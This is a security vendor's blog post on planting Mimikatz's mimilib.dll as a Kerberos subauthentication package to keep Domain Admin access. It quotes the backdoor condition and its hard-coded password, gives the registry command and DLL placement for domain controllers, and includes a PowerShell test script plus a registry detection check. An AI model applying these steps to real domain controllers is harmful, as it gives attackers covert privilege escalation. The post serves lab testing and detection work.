Domain Persistence with Subauthentication Packages

Domain Persistence with Subauthentication Packages

A lot of my posts have covered Mimikatz and how it can be used to explore Active Directory and Windows security to learn how various attacks work.  Recently, the author of Mimikatz released a new feature which exposes a new attack surface that could be used to create persistence within AD.  This feature uses a subauthentication package to manipulate the Active Directory login process and escalate user privileges based on arbitrary conditions. 

Basically, an attacker with access to your domain controllers can install a custom subauthentication package and then use unprivileged accounts to gain Domain Administrator rights whenever they want.  In this post we will take a look at how this works and how you can test this out in your own lab. 

What are Subauthentication Packages

I didn’t have any experience with subauthentication packages so my first stop was Microsoft’s documentation, where you can learn the basics of subauthentication packages:

A subauthentication package is a DLL that supplements or replaces part of the authentication and validation criteria used by the main authentication package. For example, a particular server might supply a subauthentication package that validates a user’s password with a different algorithm or specifies workstation restrictions in a different format.

That sounded pretty interesting.  A DLL that is capable of replacing part of the authentication criteria used by Kerberos would be pretty powerful.  That is exactly what Benjamin Delpy built and made available through Mimikatz.  Let’s see what exactly that can do.

What does the Mimikatz Sub-Authentication Package Do

Mimikatz contains a DLL mimilib.dll.  In the past, this has been used as one approach to create a Security Support Provider (SSP), which I covered in this post.  In a more recent version of Mimikatz, this library has been extended to act as a subauthentication package.  If you look at the code you can see two particular conditions have been added that will replace part of the authentication process.

if((UserAll->BadPasswordCount == 4) || (UserAll->NtPasswordPresent && RtlEqualMemory(UserAll->NtPassword.Buffer, myHash, min(sizeof(myHash), UserAll->NtPassword.Length))))
		{
			UserAll->PrimaryGroupId = 512;
			klog(ksub_logfile, L" :)\n");
		}

Basically that is checking for two conditions:

  1. Does the user logging in have a bad password count of 4?
  2. Does the user logging in have a specific password (in this case Waza1234/admin)?

If either condition is true, the user gets a primary group of 512 which is Domain Admins.   That means any user at all just needs a bad password count of 4, and the next logon makes them a Domain Admin.  Scary.

These are just two examples implemented by the author, but this can be customized to look at virtually anything as criteria to elevate a user to Domain Admin.  So this is a legitimate approach to creating domain persistence.  Now let’s take a look at how this works and how to set it up in your lab.

Testing the Subauthentication Package

For these tests I used the following set up:

  • Domain Controller running on Windows Server 2016 with a Forest Functional Level of 2016
  • Member PC running Windows 10

The first step is to copy the mimilib.dll file from the Mimikatz release into the C:\Windows\System32 directory on your domain controller.  In my lab I had only one DC for testing, but this would have to be copied to all DCs to achieve complete persistence for an attacker.

Next, you need to create a registry entry to tell Windows to use your subauthentication package:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos /v Auth0 /t REG_SZ /d mimilib

Which should create this key in your registry:

After that you need to restart the Active Directory Domain Services service (at least in my testing) for this to begin to take effect. 

Okay, now the subauthentication package is installed!  Time to test it out and see if it worked.

Testing the Subauthentication Package

For my test, I chose to focus on creating a user with the custom password Waza1234/admin.  So I created a new user who had no special privileges and assigned them this special password. 

Then I chose to write a script that does the following:

  1. Get the group membership for the new user by querying AD. 
  2. Launch a new Powershell session as this user and run the whoami /groups command to see what groups he is a member of after authentication occurs. 

From there I compare the output to see if the user is not a Domain Admin, but becomes one after authentication occurs.

Here you can see the output of that test:

Here is the full script for your own testing:

##SUBAUTH TEST - SPECIAL PASSWORD
$subauthdomain = "gobias"
$subauthuser = "subauthpassword"
$subauthuserdomain = "gobias\subauthpassword"
$subauthpassword = "Waza1234/admin"

Write-Host -ForegroundColor Yellow "Testing Subauthentication Elevation for $subauthuser (PW = $subauthpassword)"
#Set credential for SubauthPassword test
$credential = New-Object System.Management.Automation.PsCredential($subauthuserdomain, (ConvertTo-SecureString $subauthpassword -AsPlainText -Force))
#Start-Process powershell -Credential $credential -RedirectStandardOutput whoami.txt -NoNewWindow

#Get user's real group membership from AD
Write-Host -ForegroundColor Yellow "Retrieving group membership for $subauthuser from Active Directory"
$membership = Get-ADPrincipalGroupMembership -Identity $subauthuser
Write-Host "Real Groups for $subauthuser"
$membership.name

Write-Host -ForegroundColor Yellow "Testing authentication as user $subauthuser by running Powershell as user and issuing whoami /groups command"
$process = Start-Process powershell -Credential $credential -Wait -ArgumentList '-command &{whoami /groups}' -RedirectStandardOutput whoami.txt
$groups = Get-Content whoami.txt
Write-Host -ForegroundColor Yellow "'whoami /groups' output for $subauthuser :"
$groups

$DomainAdminWhoami = $false
$DomainAdminAD = $false

if($groups -like '*\Domain Admins*')
{
    $DomainAdminWhoami = $true
}

foreach($group in $membership)
{
    if($group.name -eq 'Domain Admins')
    {
        $DomainAdminAD = $true
    }
}

if($DomainAdminWhoami -eq $true -and $DomainAdminAD -eq $false)
{
    Write-Host -ForegroundColor Cyan  "Subauthentication successful. $subauthuser is not a Domain Admin but is being given Domain Admin rights at login."
}
if($DomainAdminAD -eq $true)
{
     Write-Host -ForegroundColor Cyan  "$subauthuser is already a Domain Admin.  Subauthentication test unsuccessful."
}
if($DomainAdminWhoami -eq $false -and $DomainAdminAD -eq $false)
{
    Write-Host -ForegroundColor Yellow  "Subauthentication unsuccessful. $subauthuser is not a Domain Admin and is not given Domain Admin rights at login."
} 

Mitigating Subauthentication Persistence

While the best way to mitigate these types of attacks is to restrict Domain Controller logon rights and implement controls to prevent the compromise of privileged credentials, you should also look for signs of compromise. 

You can do this with a basic check of the Auth0 registry key on all your domain controllers:

Get-ADDomainController | ForEach-Object {
	Invoke-Command -computername $_ -ScriptBlock { Get-ItemProperty -path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos -name "Auth0" }
} 

Which will produce this output:

To learn more about how to mitigate persistence attacks such as this one as well as others check out our Attack Site.

3 thoughts on “Domain Persistence with Subauthentication Packages

  1. Hi Jeff! Does the Forged PAC detection of StealthINTERCEPT provide insight to this attack? I would imagine so since this attack looks like it is injecting 512 into the pac, but the user is not actually being placed in domain admins, correct?

    1. Hey Tim, Yes this is something that the Forged PAC detection would help out with. I actually didn’t test that detection while I was writing this post so I will go back into my lab and try it out and let you know how that test goes! Thanks for the comment, stay tuned.

      1. Hey Tim, I had some time to test this out and we are able to detect this through StealthINTERCEPT 6.1 and the Forged PAC detection. We evaluate the PrimaryGroupID and identify it being forged for the user by evaluating their actual PriamryGroupID value.

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Start a Free StealthAUDIT® Trial!

No risk. No obligation.